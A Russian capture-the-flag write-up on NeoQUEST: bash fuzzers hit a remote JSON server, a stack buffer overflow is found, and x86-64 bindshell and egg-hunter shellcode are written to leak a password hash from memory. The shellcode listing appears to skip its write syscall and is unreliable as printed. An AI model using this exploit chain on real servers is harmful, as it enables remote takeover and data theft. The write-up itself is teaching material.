Для поиска уязвимостей все средства хороши, а чем хорош фаззинг? Ответ прост: тем, что он дает возможность проверить, как себя поведёт программа, получившая на вход заведомо некорректные (а зачастую и вообще случайные) данные, которые не всегда входят во множество тестов разработчика.Некорректное завершение работы программы в ходе фаззинга позволяет сделать предположение о наличии уязвимости.
В этой статье мы:
- продемонстрируем, как фаззить обработчик JSON-запросов;
- используя фаззинг, найдём уязвимость переполнения буфера;
- напишем шеллкод на Ассемблере для эксплуатации найденной уязвимости.
Разбирать будем на примере исходных данных задания прошлого NeoQUEST. Известно, что 64-хбитный Linux-сервер обрабатывает запросы в формате JSON, которые заканчиваются нуль-терминатором (символом с кодом 0). Для получения ключа требуется отправить запрос с верным паролем, при этом доступа к исходным кодам и к бинарнику серверного процесса нет, даны только IP-адрес и порт. В легенде к заданию также было указано, что MD5-хеш правильного пароля содержится где-то в памяти процесса после следующих 5 символов: «hash:». А для того, чтобы вытащить пароль из памяти процесса, необходима возможность удалённого исполнения кода.
«Прощупываем» порт
Пробуем соединение по указанному адресу и порту. Для этого пользуемся широко известной утилитой netcat – «швейцарским ножом» для работы с сетью. Не забываем про завершающий нуль-терминатор в запросе:

По характеру получаемого ответа понимаем, какой вход ожидает серверный процесс. Он действительно обрабатывает голые JSON-запросы без заголовков и иных посторонних символов. Уточним, какие JSON-запросы сервер считает допустимыми с точки зрения синтаксиса:

Судя по этим ответам сервера, он распознает в качестве значений целые числа, но не распознает булевы значения.

Эти ответы сервера говорят о том, что он распознает в качестве значений непустые массивы.

Сервер распознает вложенные друг в друга ассоциативные массивы и обычные массивы, но, опять же, непустые.
В случае, если формат запроса корректно распознан, сервер проверяет наличие тега «pass» в главном ассоциативном массиве:

Если такой тег есть, проверяется его значение и, по-видимому, его хеш сверяется со значением в памяти.
Как получить корректное значение пароля? Можно попробовать простой перебор поля с паролем в запросах. Впрочем, результатов такая примитивная атака не дала.
Что ж, попробуем поискать в обработчике запросов уязвимость, эксплуатация которой позволит выполнить необходимый шеллкод и получить хеш пароля.
Используем фаззинг!
Единственный источник информации – ответы сервера на наши запросы. В отсутствии бинарного кода и исходников используем фаззинг. Более подробно про сам подход к тестированию читаем тут и там, и узнаем, что есть два основных метода фаззинга:
- Генерация данных.
- Мутация данных.
Генерировать можно случайные данные (такой подход часто называют dumb-фаззинг) или входные данные, сформированные в соответствии с моделями (smart-фаззинг). Мутация обеспечивает видоизменение существующих входных данных.
Будем использовать генерацию данных и перебирать все потенциально узкие места JSON-формата, чтобы найти такие входные запросы, при которых ответ сервера отличается от обычного.
Проверку проведем в несколько этапов:
- Замена служебных символов корректного запроса на неправильные.
- Сделаем большой уровень вложенности объектов и списков JSON друг в друга.
- Будем формировать запросы, в которых чего-либо «много» (длинные строки в ключах и значениях, объекты с большим количеством пар «ключ-значение», длинные списки).
1. Замена служебных символов корректного запроса на неправильные
Служебные символы — скобки, запятые, двоеточие, разделители (пробелы). Благодаря этому, в разных местах будет нарушаться структура корректного запроса. Пример такого фаззера:
#!/bin/bash #correct query base='{"example" : {"innerobj" : "someval"}, "example" : 777777777, "example" : [1, [2, {"inlist" : "val"}], 3], "end" : "543"}' ad1='Access Denied, pass tag not found in JSON..' ad2='Exit code = 0' if1='Incorrect data format! Check your JSON syntax.' if2='Exit code = 1' #what we must replace in correct base query declare -a checkable_syms=('[' ']' '{' '}' ' ' ':' ',') #bad substitution symbols to replace with declare -a arr=(" " "]" "{" "[[" "}}" ":" "," "A" "1" ";") echo "Fuzzing maintenance symbols.." for symbol in "${checkable_syms[@]}" do #how manu occurencies of symbol in base string? num=$(($(echo $base | awk "BEGIN{FS=\"[$symbol]\"} {print NF}") - 1)) #check every position of symbol for i in $(seq 1 $num) do #trying all of the "bad" substitutions for bad_sym in "${arr[@]}" do #dont bring if [[ "$bad_sym" != "$symbol" ]]; then #constructing the query to server resp=`echo -e "$base\x00" | sed "s/[$symbol]/$bad_sym/$i" | nc 213.170.91.86 8887` #checking the answer, if not standart, something happened [[ (("$resp" =~ "$if1" && "$resp" =~ "$if2")) || (("$resp" =~ "$ad1" && "$resp" =~ "$ad2")) ]] || echo $resp fi done done done

Результатов такая проверка не дала. Значит, будем проверять другие случаи.
2. Проверка на большой уровень вложенности объектов и списков JSON друг в друга
Пример фаззера для проверки:
#!/bin/bash #how many nested objects N=1024 base='"{\"example\" : "' final='"{\"innerobj\" : \"someval\"}"' ad1='Access Denied, pass tag not found in JSON..' ad2='Exit code = 0' if1='Incorrect data format! Check your JSON syntax.' if2='Exit code = 1' echo "Fuzzing nested objects.." for i in $(seq 1 $N) do #constructing the query to server with nested object que="$base*$i + $final + \"}\"*$i + \"\x00\"" pyt="print($que);" resp=`python -c "$pyt" | nc 213.170.91.86 8887` #checking the answer, if not standart, something happened [[ (("$resp" =~ "$ad1" && "$resp" =~ "$ad2")) ]] || echo $resp Done

Опять сервер корректно обрабатывает все запросы. Аналогично проверяются списки большой вложенности. Их сервер также корректно обрабатывает. Будем проверять дальше!
3. Проверка на запросы, в которых чего-то «много»
Проверим длинные строки в ключах и значениях, объекты с большим количеством пар ключ-значение, длинные списки.
#!/bin/bash #how many nested objects N=2048 base1='{\"example' letter='A' final1='\": \"example\"}' base2='{\"example\" : \"example' final2='\"}' ad1='Access Denied, pass tag not found in JSON..' ad2='Exit code = 0' if1='Incorrect data format! Check your JSON syntax.' if2='Exit code = 1' flag=0 echo "Fuzzing long strings.." for i in $(seq 1 $N) do #checking long string key or value if [[ "$flag" == 0 ]]; then base=$base1 final=$final1 flag=1 else base=$base2 final=$final2 flag=0 fi que="\"$base\" + (\"$letter\")*$i + \"$final\" + \"\x00\"" pyt="print($que);" resp=`python -c "$pyt" | nc 213.170.91.86 8887` #checking the answer, if not standart, something happened [[ (("$resp" =~ "$ad1" && "$resp" =~ "$ad2")) ]] || echo $resp done

Как видим, длинные строки обрабатываются нормально. Длинные списки тоже. А как насчет длинных объектов?
Пример фаззера:
#!/bin/bash #how many pairs in resulting object N=260 head='{' block='\"example\" : \"val\", ' final='\"last\" : \"block\"}' ad1='Access Denied, pass tag not found in JSON..' ad2='Exit code = 0' if1='Incorrect data format! Check your JSON syntax.' if2='Exit code = 1' echo "Fuzzing long objects.." for i in $(seq 1 $N) do #constructing long object que="\"$head\" + (\"$block\")*$i + \"$final\" + \"\x00\"" pyt="print($que);" resp=`python -c "$pyt" | nc 213.170.91.86 8887` #checking the answer, if not standart, something happened [[ (("$resp" =~ "$if1" && "$resp" =~ "$if2")) || (("$resp" =~ "$ad1" && "$resp" =~ "$ad2")) ]] || echo $resp done

Вот оно! При достаточно длинном объекте ответ сервера неполный – пользователю не выдается exit code. Это начинает происходить, когда объект содержит больше 257 пар «ключ-значение». Если сделать их количество еще больше, мы увидим, что ответ вообще не приходит:

Судя по всему, перед нами классическое переполнение буфера. Пары «ключ-значение» при разборе входного запроса помещаются в константный буфер на стеке без предварительной проверки их количества в запросе.
При этом, если число пар лежит в диапазоне от 257 до 281, перетирается адрес возврата из функции-обработчика запроса, а если их больше 281, вероятно, перетираются какие-то локальные переменные за адресом возврата. Это приводит к тому, что до пользователя не доходит и первая часть сообщения об ошибке.
Уязвимость найдена!
Эксплуатируем уязвимость
Чтобы выполнить задание и получить заветный токен, необходимо понять, чем перетирается адрес возврата. Логично предположить, что на стек последовательно складываются не сами строки (ключи и значения объекта в запросе), а указатели на них. Если это так, можно не беспокоиться о размещении шеллкода в памяти и передаче на него управления. ASLR также в таком случае перестает быть помехой.
Сильно испортить жизнь нам может DEP, ведь память под строки выделяется в куче. Но не будем торопиться с выводами и проверим наши идеи на практике. Для этого возьмем какой-нибудь проверочный шеллкод под нашу платформу с целью понять, исполняема ли память в куче у процесса сервера?
Для этого возьмем обыкновенный bindshell на порт 4444 отсюда:

Поскольку у нас нет сведений о точном размере буфера, о наличии прочих локальных переменных, выравнивании памяти на стеке и т.д., необходимо размещать шеллкод немного с запасом. Разместим его в четырёх значениях у пар после 256, им предшествующих:

Ура, все работает! Память с шеллкодом исполняема, и адрес возврата из функции-обработчика запросов перезаписывается указателем на строку с шеллкодом автоматически. У нас появился удаленный шелл на сервере. Попробуем развить успех и получить доступ к бинарному коду JSON-обработчика:

Увы, недостаточно прав, чтобы сделать что-либо стоящее. Похоже, что бинарник серверного обработчика зашифрован, и без этого пароля не получить доступ к бинарному коду.
Пишем шеллкод и получаем токен
Отчаиваться рано. Вспомним, что в данном случае наша цель – не бинарник как таковой, а значение в памяти процесса /neoquest/vuln.
Зная, что файл бинарника зашифрован, и что bindshell замещает текущий процесс сервера в памяти процессом bash, пойдём другим путем. Напишем свой egg hunt шеллкод, который найдет в памяти процесса нужное значение по известному префиксу («hash:») и выдаст его пользователю.
Вариант нашего шеллкода (длинного!) под спойлером:
Shellcode
xor eax,eax xor ebx,ebx xor edx,edx ;socket create syscall mov al,0x1 mov esi,eax inc al mov edi,eax mov dl,0x6 mov al,0x29 syscall ;store the server sock xchg ebx,eax ;bind on port 4444 syscall xor rax,rax push rax push 0x5c110102 mov [rsp+1],al mov rsi,rsp mov dl,0x10 mov edi,ebx mov al,0x31 syscall ;listen syscall mov al,0x5 mov esi,eax mov edi,ebx mov al,0x32 syscall ;accept connection syscall xor edx,edx xor esi,esi mov edi,ebx mov al,0x2b syscall ;store socket mov edi,eax ;dup2 syscalls - for printing result to client xor rax,rax mov esi,eax mov al,0x21 syscall inc al mov esi,eax mov al,0x21 syscall inc al mov esi,eax mov al,0x21 syscall ;egg hunter xor rsi, rsi ; Some prep junk. xor rdi, rdi xor rbx, rbx add bl, 5 go_end_of_page: or di, 0x0fff ; We align with a page size of 0x1000 next_byte: mov cx, di cmp cl, 0xff ; next byte offset jne cmps inc rdi push 21 pop rax ; We load access() in RAX ; push rdx ; pop rdi mov rdx, rdi add rdi, rbx ; We need to be sure our 5 byte egg check does not span across 2 pages syscall ; syscall to access() cmp al, 0xf2 ; Checks for EFAULT. EFAULT indicates bad page access. je go_end_of_page jmp cmps2 cmps: inc rdi cmps2: cmp [rdi - 4] , dword 0x3a687361 ;ash: letters jne next_byte cmp [rdi - 5] , dword 0x68736168 ;hash letters jne next_byte after: ;printf 32 byte of MD5-hash xor rax, rax add rax, 1 mov rsi, rdi xor rdi, rdi add rdi, 1 xor rdx, rdx mov dl, 0x20 ; Size of syscall ;exit syscall xor rax, rax add rax, 0x3b xor rdi, rdi syscall
Что делает этот шеллкод:
- Создает сокет, прикручивает к нужному порту (bind на 4444), ожидает соединения (listen).
- Принимает соединение, сохраняет клиентский сокет для дальнейшего использования (accept).
- Копирует дескрипторы STDIN, STDOUT, STDERR в клиентский сокет для выдачи результата (dup2).
- Обходит память постранично (по 4Кб). Если адрес отображен в адресное пространство процесса – движемся по странице в поисках 5-символьного префикса «hash:». Если адрес не отображен, переходим к следующей странице. Проверка адреса осуществляется системным вызовом access.
- Найденный адрес используем для вывода в клиентский сокет 32 байт памяти после него – там должен лежать искомый хеш пароля (сист. вызов write).
- Завершает работу (exit).
Шеллкод написали, теперь протестируем наше решение:

Сработало! При подключении на 4444 порт мы видим искомые 32 символа хеша пароля. Осталось получить пароль. Воспользуемся Google:

Искомый пароль: ABAB865A15B15538D81C066574449597. Осталось получить заветный токен:

Искомый токен: 795944475660c18d83551b51a568baba
Преимущества и недостатки фаззинга
Большое разнообразие возможных точек входа (текстовая строка, вводимая посредством GUI, бинарные данные из файла, значение поля сетевого запроса) и тестируемых приложений (можно фаззить файлы, протоколы, драйверы, веб-приложения, исходники...) делает фаззинг довольно эффективным подходом к поиску проблем безопасности программного кода.
В данной статье мы продемонстрировали довольно простой пример фаззинга, в котором мутация генерируемых тестовых данных была сведена к минимуму, однако современные фаззеры (Peach, Sulley, HotFuzz и другие ) обладают гораздо более богатым функционалом, реализуя множество алгоритмов мутации.
Тем не менее, у подхода к тестированию методом фаззинга есть и вполне очевидный недостаток: поскольку фаззер не обладает знаниями о внутренней структуре тестируемой программы, для поиска проблем безопасности придется перебрать огромное количество вариантов тестовых данных. А это, в свою очередь, требует значительных временных затрат.
А на NeoQUEST-2017 — еще больше интересных заданий!
Тренируясь в прохождении заданий NeoQUEST, всегда можно узнать что-то новое и понять, как на практике работают те или иные механизмы безопасности. В данной статье мы рассказали, что такое фаззинг, продемонстрировали, как можно обнаружить уязвимость переполнения буфера данным методом, и написали шеллкод для найденной уязвимости на Ассемблере. При этом, мы исполнили свой код, не имея даже бинарника уязвимой программы. Это — наглядная демонстрация того, что может быть, если сервер плохо реализован.
В заданиях NeoQUEST-2017, который пройдет с 1 по 10 марта, несомненно, тоже будет чему научиться, поэтому смело регистрируйтесь!

